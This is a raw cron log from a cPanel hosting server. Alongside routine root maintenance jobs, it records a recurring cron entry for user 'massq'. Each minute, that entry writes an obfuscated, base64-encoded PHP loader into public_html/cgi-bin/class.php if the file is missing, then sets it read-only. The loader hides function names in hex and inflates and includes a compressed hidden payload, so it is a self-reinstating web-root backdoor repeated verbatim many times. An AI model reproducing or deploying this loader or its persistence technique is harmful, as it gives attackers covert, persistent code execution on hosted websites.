Sep  1 07:35:01 server CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 07:36:01 server CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:36:01 server CROND[3526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:36:01 server CROND[3525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:37:01 server CROND[3915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:37:01 server CROND[3916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:37:01 server CROND[3917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:38:01 server CROND[4298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:38:01 server CROND[4299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:38:01 server CROND[4300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:39:01 server CROND[4792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:39:01 server CROND[4793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:39:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 07:39:01 server CROND[4795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:40:01 server CROND[5300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:40:01 server CROND[5301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:40:01 server CROND[5356]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:40:01 server CROND[5358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:40:01 server CROND[5360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:40:01 server CROND[5355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:40:01 server CROND[5328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:40:01 server CROND[5357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:41:01 server CROND[6262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:41:01 server CROND[6264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:41:01 server CROND[6263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:42:01 server CROND[6657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:42:01 server CROND[6658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:42:01 server CROND[6659]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:42:01 server CROND[6660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:43:01 server CROND[7049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:43:01 server CROND[7050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:43:01 server CROND[7051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:44:01 server CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:44:01 server CROND[7530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:44:01 server CROND[7531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:45:01 server CROND[7920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:45:01 server CROND[7921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:45:01 server CROND[7922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:45:01 server CROND[7923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:45:01 server CROND[7925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:45:01 server CROND[7929]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:45:01 server CROND[7928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:46:01 server CROND[8751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:46:01 server CROND[8752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:46:01 server CROND[8753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:47:01 server CROND[9141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:47:01 server CROND[9142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:47:01 server CROND[9143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:48:01 server CROND[9544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:48:01 server CROND[9545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
